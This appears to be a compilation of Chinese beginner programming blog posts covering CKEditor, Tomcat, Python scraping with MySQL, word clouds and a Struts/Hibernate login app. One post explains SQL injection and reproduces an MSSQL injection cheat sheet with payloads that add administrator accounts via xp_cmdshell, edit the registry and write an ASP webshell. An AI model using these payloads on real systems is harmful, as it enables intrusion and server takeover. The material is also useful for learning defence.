简化功能or增加功能 CKeditor配置 依然是修改配置文件ckeditor/config.js 直接看说明吧,我简化了配置,保留了几个小功能即可 /** * CKEditor配置文件 * @license Copyright (c) 2003-2017, CKSource - Frederico Knabben. All rights reserved. * For licensing, see LICENSE.md or http://ckeditor.com/license */ CKEDITOR.editorConfig = function( config ) { // Define changes to default configuration here. // For complete reference see: // http://docs.ckeditor.com/#!/api/CKEDITOR.config // The toolbar groups arrangement, optimized for two toolbar rows. //config.toolbarGroups 则不可以使用items 去掉Groups可自选items内容 config.toolbar = [ //提供复制张贴等 { name: 'clipboard', groups: [ 'clipboard', 'undo' ] }, //拼写检查等 { name: 'editing', groups: [ 'find', 'selection', 'spellchecker' ] }, //链接 { name: 'links' }, { name: 'insert', items: ['Image','HorizontalRule','SpecialChar','Smiley'] }, //插入 包括图片,表格'Table',水平线,特殊字符 表情'Smiley',分页符,'PageBreak { name: 'forms' }, { name: 'tools', items: ['Maximize'] }, //工具 用于编辑器全屏 //包括源码等 { name: 'document', groups: [ 'mode', 'document', 'doctools' ] }, { name: 'others' }, '/', //加粗 倾斜 删除线等 { name: 'basicstyles', groups: [ 'basicstyles', 'cleanup' ] }, //有序 无序 引用等 { name: 'paragraph', groups: [ 'list', 'indent', 'blocks', 'align', 'bidi' ] }, //输入文字风格 { name: 'styles' }, // { name: 'colors' }, //去掉? 关于功能 { name: 'about' } ]; // Remove some buttons provided by the standard plugins, which are // not needed in the Standard(s) toolbar. config.removeButtons = 'Underline,Subscript,Superscript'; // Set the most common block elements. config.format_tags = 'p;h1;h2;h3;pre'; // Simplify the dialog windows. config.removeDialogTabs = 'image:advanced;link:advanced'; //工具栏的位置 设置编辑器功能位置 默认top bottom config.toolbarLocation = 'top'; //当用户键入TAB时,编辑器走过的空格数,(&nbsp;) 当值为0时,焦点将移出编辑框 如果不设置则无任何效果 config.tabSpaces = 4; //工具栏默认是否展开 config.toolbarStartupExpanded = true; //工具栏是否可以被收缩 config.toolbarCanCollapse = true; //获取基地址 var location = (window.location+'').split('/'); var basePath = location[0]+'//'+location[2]+'/'+location[3]; //写action config.filebrowserImageUploadUrl=basePath+"/upLoadFile.action"; }; 好了,基本功能都OK了! 完整项目代码请移步百度网盘 链接:http://pan.baidu.com/s/1pLbrmx9 密码:5jas
刚才Tomcat在eclipse下无法启动了…于是在我的安装Tomcat目录下直接startup.bat 依然无法启动 暂停查看一下是什么错误? 在eclipse下报错提示 Multiple Contexts have a path of “XXXXX”. 在Tomcat下吧bin目录打开startup.bat提示信息 Using CATALINA_BASE:”C:\apache-tomcat-8.0.44” Using CATALINA_HOME:”C:\apache-tomcat-8.0.44” Using CATALINA_TEMDIR:”C:\apache-tomcat-8.0.44\temp” Using JRE_HOME:”c:\java\jdk1.6.0” Using CLASSPATH:C:\apache-tomcat-8.0.44\bin\bootstrap.jar” 呀!暴露了我的Tomcat信息,哈哈哈哈 玩笑下一步 解决方案 在eclipse下的Servers 下的server.xml文件中删除 重启Tomcat正常了…
学了python怎么使用mysql就应该实际操作起来用用呀。 爬取某网站上的数据并存入mysql,当然也包括存入csv文件。 因为一开始我是存csv,然后今晚学了连接数据库(学习进度有点慢呀)… 上主代码 import requests import re import MySQLdb import csv import time import pandas as pd from bs4 import BeautifulSoup from requests import RequestException #连接数据库 conn= MySQLdb.connect( host='localhost', port = 3306, user='root', passwd='a', db ='wangdai', #数据库表 如果没有这个表则注释 使用执行语句建立一数据库 charset='utf8',#设置编码集 如果没有则会报错UnicodeEncodeError: 'latin-1' codec can't encode characters in position 0-2: ordinal not in range(256) ) cur = conn.cursor() #要想使用数据库则还需要创建游标 #创建表 cur.execute("create table wdtest(wid int primary key auto_increment,name varchar(10),total int,rate varchar(10),pnum int,cycle varchar(10),p1num int,fuload varchar(10),alltotal varchar(10),capital varchar(10))") #抓取页面 def get_page(url): headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari / 537.11', 'Accept':'text/html;q=0.9,*/*;q=0.8', 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3', 'Connection': 'close', 'Referer': 'https://www.bluewhale.cc/' } try: response = requests.get(url,headers=headers) if response.status_code == 200: return response.text return None except RequestException: print('请求错误') return None #解析页面 并写入数据 def parse_page(html): soup = BeautifulSoup(html,'lxml') tr = soup.find_all(name='tr',attrs={'class':'bd'}) # tr = str(tr) for i in tr: # print(i) i = str(i) num = re.findall('<td class="num">(.*?)</td>',i) name = re.findall('.*?<a.*?title="(.*?)">',i) total = re.findall('<td class="total">(.*?)万</td>',i) rate = re.findall('<td class="rate">(.*?)%</td>',i) pnum = re.findall('<td class="pnum">(\d+)人</td>',i) cycle = re.findall('<td class="cycle">(.*?)月</td>',i) p1num = re.findall('<td class="p1num">(.*?)人</td>',i) fuload = re.findall('<td class="fuload">(.*?)分钟</td>',i) alltotal = re.findall('<td class="alltotal">(.*?)万</td>',i) capital = re.findall('<td class="capital">(.*?)万</td>',i) print(num,name,total,rate,pnum,cycle,p1num,fuload,alltotal,capital) # 写入csv数据 write_csv(num,name,total,rate,pnum,cycle,p1num,fuload,alltotal,capital) #写入数据库 因为是没获取一天数据插入数据库,这样操作太耗时!可以mysql的考虑批处理! save_msg_toMySql(name,total,rate,pnum,cycle,p1num,fuload,alltotal,capital) # print( tr) #写入csv数据 def write_csv(num,name,total,rate,pnum,cycle,p1num,fuload,alltotal,capital): columns = ['平台名称', '成交额(万)', '综合利率', '投资人(人)', '借款周期(月)', '借款人(人)', '满标速度(分钟)', '累计贷款余额(万)','净资金流入(万)'] table = pd.DataFrame({'平台名称': name, '成交额(万)': total, '综合利率': rate, '投资人(人)': pnum, '借款周期(月)': cycle, '借款人(人)': p1num, '满标速度(分钟)': fuload, '累计贷款余额(万)': alltotal, '净资金流入(万)': capital}, columns=columns) table.to_csv('wangdai.csv',mode='a',index=False,header=False) #不要索引 不要列头 #生成csv文件列头 def write_csv_lietou(): columns = ['平台名称', '成交额(万)', '综合利率', '投资人(人)', '借款周期(月)', '借款人(人)', '满标速度(分钟)', '累计贷款余额(万)','净资金流入(万)'] table = pd.DataFrame(columns=columns) table.to_csv('wangdai.csv',mode='a',index=False) #不要索引 是在第一行和第一列留一行 #保存数据到MySql def save_msg_toMySql(name,total,rate,pnum,cycle,p1num,fuload,alltotal,capital): sql = 'insert into wdtest(name,total,rate,pnum,cycle,p1num,fuload,alltotal,capital) values(%s,%s,%s,%s,%s,%s,%s,%s,%s)' cur.execute(sql,(name,total,rate,pnum,cycle,p1num,fuload,alltotal,capital)) #提交 记得commit一下,否则你的数据都没有到数据库哦 conn.commit() #主函数 if __name__ == '__main__': url = 'http://www.p2peye.com/shuju/ptsj/' html = get_page(url) #生成含有csv的列头 write_csv_lietou() parse_page(html) 有一个疑问:就是生成一个csv文件,怎样不重复生成列头…代码中的方法虽然可行,但我感觉还有其他更好的方法,但是没搜到。如果你知道,望请教! 数据到手,下一步?
当MySql遇上Python该怎么玩呢?今晚的时间又双花在了Python上,真的是爱不释手的语言呀(笑抽) 这数据库操作比java简单多了(步骤)…强烈吐槽呀 说明 需要安装mysql 自行下载吧 python版本3.6 winver版本 win10 MySQL-python安装问题 当初安装mysql时遇到了不少坑,直接使用pip 方式安装各种报错,fuck!我忘记做错误笔记了。。。 不幸中的万幸…我做了一个超级简陋的笔记…安装教程… 笔记 安装失败需要下载一些文件。我做的笔记只有这一部分,嗯,应该这一部分就能指导我解决问题了。 https://pypi.python.org/pypi/mysqlclient/1.3.7 到这里下载,目前这是最新版本的,也可以 https://pypi.python.org/pypi 在这里自行搜索 mysql 下载对应的版本 cmd命令下 pip install 文件名 如果64位安装不了则安装32位… 开始上手 import MySQLdb #连接数据库 conn= MySQLdb.connect( host='localhost', port = 3306, user='root', passwd='a', db ='test', #如果还没有创建test数据库则这个db参数可以不用 执行以下语句就可以创建数据库test了 cur.execute("create database test") charset='utf8', #设置编码集 如果没有在插入中文数据时会报错UnicodeEncodeError: 'latin-1' codec can't encode characters in position 0-2: ordinal not in range(256)之类的错误 ) cur = conn.cursor() #要想使用数据库则还需要创建游标 增删改查 #创建数据库 # cur.execute("create database test") #创建数据表 # cur.execute("create table teacher(id int primary key auto_increment,name varchar(20),class varchar(20),age int(3))") #插入一条数据 # cur.execute("insert into teacher(name,class,age) values('Tom','3 year 1 class',26)") # cur.execute("insert into teacher(name,class,age) values('中文可以了吧!','5 year 4 class',48)") #插入中文数据 在前面如果不设置这句charset='utf8' 会报编码问题 #修改查询条件的数据 #cur.execute("update teacher set class='3 year 2 class' where name = 'Tom'") #删除查询条件的数据 #cur.execute("delete from teacher where age='26'") #查询数据 c = cur.execute("select * from teacher") print( c ) #输出的只是数据条数 那么怎么才能输出数据呢? print( '输出一条数据',cur.fetchone() ) print( '输出一条数据',cur.fetchone() ) # print( '输出所有数据',cur.fetchall()) #迭代输出所有数据 for i in cur.fetchmany(c): #获取表中所有数据 print( i ) cur.close() conn.commit() conn.close()
什么是SQL注入,如何理解 SQL注入是一种将sql代码添加到输入参数中,传递到sql服务器解析并执行的一种攻击手法 exp xxx.action?id=1 此时可以在id后加入sql语句进行注入 xxx.action?id=-1 or 1=1 此时查询的信息就是所有的信息 SQL注入是怎么产生的? web开发人员无法保证所有的输入都已经过滤 攻击者利用发送给sql服务器的输入数据构造可执行的sql代码 数据库未做相应的安全配置 有什么危害? 如何寻找SQL注入漏洞 逻辑推理 识别web应用中所有输入点 比如说账号,密码登录时 了解哪些类型的请求会触发异常 比如在sql语句中加入’ 或者 “等特殊字符 检测服务器响应中的异常地址栏直接传参数 比如爆404 500 SQL注入方式 get请求 post请求 http请求头信息注入 如何进行SQL注入攻击 数字注入 字符串注入 1. 数字注入 比如 id=1 此时可以id = 1 or 1=1 则可以查看全部 2. 登录中 用户名后面加'# 或者'-- 就是用户名后面的被注释了 这样就可以绕过登录 怎样预防SQL注入 输入变量检查 特殊字符转义 预编译处理(数据库自己会处理) 盲注 延时注入是盲注的一种 select * from table where id=1 and sleep(3); //意思是在三秒后执行 现在的网站容错做的好,可能直接输入参数and 1=1 无法判断 进而使用延时注入 全手工SQL注入式脚本整理 说明:脚本整理来源某作者,不记得了…感谢作者! 1.判断是否有注入;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>0 3.注入参数是字符'and [查询条件] and ''=' 4.搜索时没过滤参数的'and [查询条件] and '%25'=' 5.判断数据库系统 ;and (select count(*) from sysobjects)>0 mssql 数据库系统 ;and (select count(*) from msysobjects)>0 access数据库系统 6.猜数据表名 ;and (select Count(*) from [数据库名])>0 表名... 7.猜字段 ;and (select Count(字段名) from 数据库名)>0 8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 9.字段手工猜测 (1)猜字段的ascii值(access) ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 (2)猜字段的ascii值(mssql) ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 10.测试权限结构(mssql) ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ;and 1=(select IS_MEMBER('db_owner'));-- 11.添加mssql和系统的帐户 ;exec master.dbo.sp_addlogin username;-- ;exec master.dbo.sp_password null,username,password;-- ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ;exec master.dbo.xp_cmdshell 'net user username password /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 12.(1)遍历目录 ;create table dirs(paths varchar(100), id int) ;insert dirs exec master.dbo.xp_dirtree 'c:/' ;and (select top 1 paths from dirs)>0 ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) (2)遍历目录 ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 获得子目录列表 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 获得所有子目录的目录树构 ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看文件的内容 13.mssql中的存储过程 xp_regenumvalues 注册表根键, 子键 ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Run' 以多个记录集方式返回所有键值 xp_regread 根键,子键,键值名 ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','CommonFilesDir' 返回制定键的值 xp_regwrite 根键,子键, 值名, 值类型, 值 值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 xp_regdeletevalue 根键,子键,值名 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName' 删除某个值 xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey' 删除键,包括该键下所有值 14.mssql的backup创建webshell use model create table cmd(str image); insert into cmd(str) values (''); backup database model to disk='c:/amxking.asp'; 15.mssql内置函数 ;and (select @@version)>0 获得Windows的版本号 ;and user_name()='dbo' 判断当前系统的连接用户是不是sa ;and (select user_name())>0 爆当前系统的连接用户 ;and (select db_name())>0 得到当前连接的数据库 16.简洁的webshell use model create table cmd(str image); insert into cmd(str) values (''); backup database model to disk='g:/wwwtest/amxking.asp';
python版本 3.6.2 如果你是民谣控,应该听过齐叔的歌吧!那首经典的[这个年纪]但我的女人呢~但我的女人呢~ 当初听到这首歌的时候就深深的爱上,可谓真是有毒呀! 作为齐叔的歌迷,必须要分析一下齐叔呀!那么齐叔都在唱些什么呢?想办法获取所有齐叔的歌的歌词,发现酷我音乐刚好有齐叔所有音乐还包括歌词。 这下有了目标,接下来就是先拿数据啦! 引用库文件 # -*-coding:utf-8-*- import requests import re from requests import RequestException from bs4 import BeautifulSoup import codecs from os import path import numpy as np from PIL import Image import jieba from wordcloud import WordCloud 获取整个网页内容 def get_page(url): Headers = { 'Host':'www.kuwo.cn', 'User - Agent':'Mozilla / 5.0(WindowsNT10.0;Win64;x64) AppleWebKit / 537.36(KHTML, likeGecko) Chrome / 60.0.3112.101Safari / 537.36' } try: response = requests.get(url,headers=Headers) if response.status_code == 200: return response.text return None except RequestException: print('请求失败!') return None 解析页面提取所有歌曲的链接 def parse_page(html): soup = BeautifulSoup(html,'lxml') list = soup.find('div',attrs={'class':'geci'}) lsoup = BeautifulSoup(str(list),'lxml') count = -1 music_url = [] for x in lsoup.find_all('a'): count = count+1 if count%2==0: music_url.append(x) #输出music_url #正则表达式提取歌曲链接和歌名 regex = '<a href="(.*?)".*?>(.*?)</a>' pattern = re.compile(regex, re.S) items = re.findall(pattern, str(music_url)) # 先传入规则,在传需要在匹配源 url = [] for item in items: url.append(item[0]) # print(item[0],item[1]) #返回歌曲链接结果 return url 获取每个链接对于的歌曲歌词 def get_lrc(url): response = requests.get(url=url) # http://www.kuwo.cn/geci/a_285345/ bs = BeautifulSoup(response.text, 'lxml') # 使用select方法获得的节点可能不止一个,所以返回的类型是个list # 异常处理 http://www.kuwo.cn/geci/l_14392025 《这个年纪 - 伴奏》歌词 — 齐一 没有歌词会报错, try: lyric = bs.select('div#lrc_yes')[0] if lyric!=None: for item in lyric.strings: # print(item) #获取每一句歌词并写入文件 write_file(item) except Exception: print('当前歌曲没有歌词,歌曲链接为',url) 写入文件 def write_file(content): with open('齐一.txt','a') as f: f.write(content) f.flush() f.close() 制作词云 def draw_wordcloud(): with codecs.open('齐一.txt',encoding='utf-8') as f: comment_text = f.read() cut_text = " ".join(jieba.cut(comment_text)) # 将jieba分词得到的关键词用空格连接成为字符串 d = path.dirname(__file__) # 当前文件文件夹所在目录 color_mask = np.array(Image.open(path.join(d, "齐一.png"))) # 读取背景图片 cloud = WordCloud(font_path=path.join(d,'simsun.ttc'), # 字体文件 这个字体window自带有 可以自行更换 background_color='white', # 设置背景颜色 mask=color_mask, # 设置背景图片 max_words=2000, # 设置最大显示的字数 random_state=50, # 设置有多少种随机生成状态,即有多少种配色方案 max_font_size=100) # 设置字体最大值 word_cloud = cloud.generate(cut_text) # 产生词云 word_cloud.to_file("pjl_cloud.jpg") #生成的文件 执行方法操作 if __name__ == '__main__': #歌单列表网址 url = 'http://www.kuwo.cn/geci/a_285345/' #获取所有歌曲网址内容 html = get_page(url) #解析网页,提取所有歌曲链接 music_url = parse_page(html) #循环爬取 for url in music_url: print('正在爬取',url) #获取歌词 lrc = get_lrc(url) #生成词云 draw_wordcloud() 效果图 歌词文件及背景图片下载链接:http://pan.baidu.com/s/1mhRSI96 密码:o7ky
初识struts和hibernate很多东西都不是很懂呀,跟着网上的资源实现就简单的增删改查,其中hibernate的hql不是很会用,之前是在学习mybatis,现在一和hibernate对比,让我深深感觉mybatis的好呀!嘻嘻,其实都差不多,好了,直接正文吧! 整体功能:学生注册,登录,修改密码,注销。包揽了增删改查。 项目使用maven创建,不用麻烦在WEB-INF的lib目录下手动放那么多jar包… 如果你的eclipse没有maven插件,请先安装以及一系列的配置,不要嫌麻烦!程序员嘛!不折腾会死的!! 1. 创建maven工程 创建好maven工程后如果报错(提示缺失文件夹)这个时候按照此方法解决。 选择项目,单机右键最后一个功能为Properties 重新选择JRE即可。 创建好后目录结构是这样的,请忽略我的那个红xx,项目没问题,应该是eclipse的某个设置导致提示错误,晚点解决 2. pom.xml 加入依赖我们所需要的jar包! <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.wy</groupId> <artifactId>Struct</artifactId> <packaging>war</packaging> <version>0.0.1-SNAPSHOT</version> <name>Struct Maven Webapp</name> <url>http://maven.apache.org</url> <!-- Spring版本控制 --> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <spring.version>4.3.11.RELEASE</spring.version> </properties> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>3.8.1</version> <scope>test</scope> </dependency> <dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-core</artifactId> <version>2.5.2</version> </dependency> <!-- 数据库 https://mvnrepository.com/artifact/commons-dbcp/commons-dbcp --> <dependency> <groupId>commons-dbcp</groupId> <artifactId>commons-dbcp</artifactId> <version>1.2.2</version> </dependency> <!-- spring https://mvnrepository.com/artifact/org.springframework/spring-orm --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-orm</artifactId> <version>4.3.11.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> <version>4.3.11.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>4.3.11.RELEASE</version> </dependency> <!-- mysql数据库的驱动 --> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.38</version> </dependency> <!-- spring对jdbc的支持包 --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-jdbc</artifactId> <version>${spring.version}</version> </dependency> <!-- hibernate https://mvnrepository.com/artifact/org.hibernate/hibernate-core --> <dependency> <groupId>org.hibernate</groupId> <artifactId>hibernate-core</artifactId> <version>5.2.10.Final</version> </dependency> <!-- https://mvnrepository.com/artifact/org.hibernate/hibernate-core --> <dependency> <groupId>org.hibernate</groupId> <artifactId>hibernate-core</artifactId> <version>5.2.10.Final</version> </dependency> <!-- https://mvnrepository.com/artifact/org.hibernate.common/hibernate-commons-annotations --> <dependency> <groupId>org.hibernate.common</groupId> <artifactId>hibernate-commons-annotations</artifactId> <version>5.0.1.Final</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.struts/struts2-spring-plugin --> <dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-spring-plugin</artifactId> <version>2.5.12</version> </dependency> <!-- servlet 包,上线后不要,因为 tomcat的lib中自带有, 所以要配置 scope为provided --> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> <!-- spring容器 --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>${spring.version}</version> </dependency> </dependencies> <build> <finalName>Struct</finalName> </build> </project> 3.配置web.xml文件 需要配置Struts前端控制器 ,这样才能被struts拦截,由struts处理一系列请求。 加上使用了spring,配置tomcat开启时,加载Spring配置文件,还有一个延迟加载的过滤 这个不清楚具体做什么的网上说能保持对象在使用前session为打开状态 具体请搜索吧。 <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" version="3.0"> <display-name>Archetype Created Web Application</display-name> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> <!-- tomcat开启时,加载Spring配置文件 --> <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener> <context-param> <param-name>contextConfigLocation</param-name> <param-value>classpath:applicationContext.xml</param-value> </context-param> <!-- 延迟加载的过滤 ,必须设置在前端控制器之前 --> <!-- 能保持对象在使用前session为打开状态 --> <filter> <filter-name>OpenSessionView</filter-name> <filter-class>org.springframework.orm.hibernate4.support.OpenSessionInViewFilter</filter-class> <init-param> <param-name>flushMode</param-name> <param-value>AUTO</param-value> </init-param> </filter> <filter-mapping> <filter-name>OpenSessionView</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <!-- 配置Struts前端控制器 --> <filter> <filter-name>Struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class> </filter> <filter-mapping> <filter-name>Struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> </web-app> 4. 配置applicationContext.xml文件 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xmlns:util="http://www.springframework.org/schema/util" xmlns:jee="http://www.springframework.org/schema/jee" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:jpa="http://www.springframework.org/schema/data/jpa" xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:aop="http://www.springframework.org/schema/aop" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.1.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.1.xsd http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util-3.1.xsd http://www.springframework.org/schema/jee http://www.springframework.org/schema/jee/spring-jee-3.1.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.1.xsd http://www.springframework.org/schema/data/jpa http://www.springframework.org/schema/data/jpa/spring-jpa-1.3.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc-3.1.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-2.0.xsd" default-lazy-init="true"> <!-- 数据源的配置 --> <bean id="ds" class="org.apache.commons.dbcp.BasicDataSource"> <property name="url" value="jdbc:mysql://localhost:3306/struts"></property> <property name="driverClassName" value="com.mysql.jdbc.Driver"></property> <property name="username" value="root"></property> <property name="password" value="root"></property> </bean> <!-- sessionFactory --> <bean id="sessionFactory" class="org.springframework.orm.hibernate4.LocalSessionFactoryBean"> <property name="dataSource" ref="ds"> </property> <!-- hibernate配置信息 --> <property name="hibernateProperties"> <props> <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop> <prop key="hibernate.show_sql">true</prop> <prop key="hibernate.formate_sql">false</prop> </props> </property> <property name="mappingResources"> <list> <value>com/struts/bean/Student.hbm.xml</value> </list> </property> </bean> <!-- 开启注解扫描 --> <context:component-scan base-package="com"></context:component-scan> <!-- 声明式事务管理,采用AOP切入 --> <bean id="txManager" class="org.springframework.orm.hibernate4.HibernateTransactionManager"> <property name="sessionFactory" ref="sessionFactory"></property> </bean> <!-- 定义事务通知 --> <tx:advice id="txAdvice" transaction-manager="txManager"> <tx:attributes> <tx:method name="*" propagation="REQUIRED"/> </tx:attributes> </tx:advice> </beans> 5. 数据库设计 使用的mysql。一个简单的登录功能,只需要简单的表设计就OK create table student( id int primary key auto_increment, name varchar(10), pwd varchar(10) ) 6. 实体类的编写 package com.struts.bean; import java.io.Serializable; import com.opensymphony.xwork2.ActionSupport; public class Student implements Serializable { //这个实现Serializable 接口可以不用,但是大型上线 项目应该都会有 private static final long serialVersionUID = 3449928115491130878L; private Integer id; private String name; private String pwd; public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPwd() { return pwd; } public void setPwd(String pwd) { this.pwd = pwd; } } 实体类对应的hbm.xml配置文件Student.hbm.xml <?xml version='1.0' encoding='UTF-8'?> <!DOCTYPE hibernate-mapping PUBLIC "-//Hibernate/Hibernate Mapping DTD 3.0//EN" "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd"> <!-- Generated 2016-11-26 16:32:02 by Hibernate Tools 3.4.0.CR1 --> <hibernate-mapping> <!-- 配置实体类和表的关系--> <class name="com.struts.bean.Student" table="student"> <id name="id" type="java.lang.Integer"> <column name="ID" /> <generator class="native" /> </id> <property name="name" type="java.lang.String"> <column name="NAME" /> </property> <property name="pwd" type="java.lang.String"> <column name="PWD" /> </property> </class> </hibernate-mapping> 7.dao层的编写 package com.struts.dao; import com.struts.bean.Student; public interface StudentDao { //用户登录 public Student login(Student student); //注册 public boolean register(Student student); //判断用户是否存在 public boolean isExist(Student student); //根据用户名修改密码 public void updatePwdByName(Student student); //根据用户名删除用户 public void delStudentByName(Student student); } dao层的实现 daoImpl package com.struts.dao.impl; import java.util.List; import javax.annotation.Resource; import org.hibernate.Session; import org.hibernate.Transaction; import org.hibernate.query.Query; import org.springframework.stereotype.Repository; import org.springframework.transaction.annotation.Transactional; import com.struts.bean.Student; import com.struts.dao.StudentDao; import com.struts.utils.SessionUtil; @Repository public class StudentDaoImpl implements StudentDao { @Resource(name="sessionUtil") private SessionUtil sessionUtil; //登录 @Override public Student login(Student student) { if(student==null) { return null; } try{ //创建session对象 Session session = sessionUtil.getSession(); Query query = session.createQuery("from Student where name = ? and pwd = ?"); query.setCacheable(true); query.setString(0,student.getName()); query.setString(1,student.getPwd()); List list = query.list(); return (Student) (list!=null&&list.size()>0?list.get(0):null); /** *TODO:直接使用这句,当用户名密码不正确的时候回报错 * //(Student) query.list().get(0); */ }catch(Exception e){ e.printStackTrace(); } return null; } //判断用户是否存在 @Override public boolean isExist(Student student) { if(student==null) { return false; } try{ //创建session对象 Session session = sessionUtil.getSession(); //首先判断用户是否存在 Query query = session.createQuery("from Student where name = ?"); query.setCacheable(true); query.setString(0,student.getName()); List list = query.list(); if( (list!=null&&list.size()>0)) { return true; } }catch(Exception e){ e.printStackTrace(); } return false; } //注册 @Override public boolean register(Student student) { if(student==null) { return false; } try{ //创建session对象 Session session = sessionUtil.getSession(); Query query = session.createSQLQuery("insert into student(name,pwd) values(?,?)").addEntity(Student.class); //createQuery("from Student where name = ? and pwd = ?"); query.setCacheable(true); query.setString(0,student.getName()); query.setString(1,student.getPwd()); session.save(student); return true; }catch(Exception e){ e.printStackTrace(); } return false; } //根据用户名修改密码 @Override public void updatePwdByName(Student student) { try{ //创建session对象 Session session = sessionUtil.getSession(); //事物处理 Transaction tran = session.beginTransaction(); // session.beginTransaction().commit(); 如果直接用这句但是不用下面这句 // session.beginTransaction(); // 则报 Transaction not successfully started 使用这两句没用... Query query = session.createSQLQuery("update Student set pwd=? where name=? ").addEntity(Student.class); query.setCacheable(true); query.setString(0,student.getPwd()); query.setString(1,student.getName()); query.executeUpdate(); tran.commit(); session.close(); }catch(Exception e){ e.printStackTrace(); } } //根据用户名删除该用户 @Override @Transactional public void delStudentByName(Student student) { try{ //创建session对象 Session session = sessionUtil.getSession(); //事物处理 Transaction tran = session.beginTransaction(); //查询 Query query = session.createSQLQuery("delete from student where name=? ").addEntity(Student.class); query.setCacheable(true); query.setString(0,student.getName()); query.executeUpdate(); tran.commit(); session.close(); }catch(Exception e){ e.printStackTrace(); System.out.println("删除失败!请检查代码!"); } } } 8.业务层action只说一个例子,登录 具体请看GitHub上的代码 package com.struts.action; import java.util.Map; import javax.annotation.Resource; import javax.servlet.http.HttpSession; import org.apache.struts2.interceptor.RequestAware; import org.apache.struts2.interceptor.SessionAware; import org.springframework.stereotype.Controller; import com.opensymphony.xwork2.ActionSupport; import com.struts.bean.Student; import com.struts.dao.StudentDao; import com.struts.dao.impl.StudentDaoImpl; import freemarker.template.utility.Execute; @Controller public class LoginAction extends ActionSupport { // extends ActionSupport 区别 implements RequestAware SessionAware private static final long serialVersionUID = -531893540665347994L; @Resource private StudentDao sdDao = new StudentDaoImpl(); private Student student; private String name; private String pwd; public String Login() { //先判断该用户名是否存在 Student stu = new Student(); 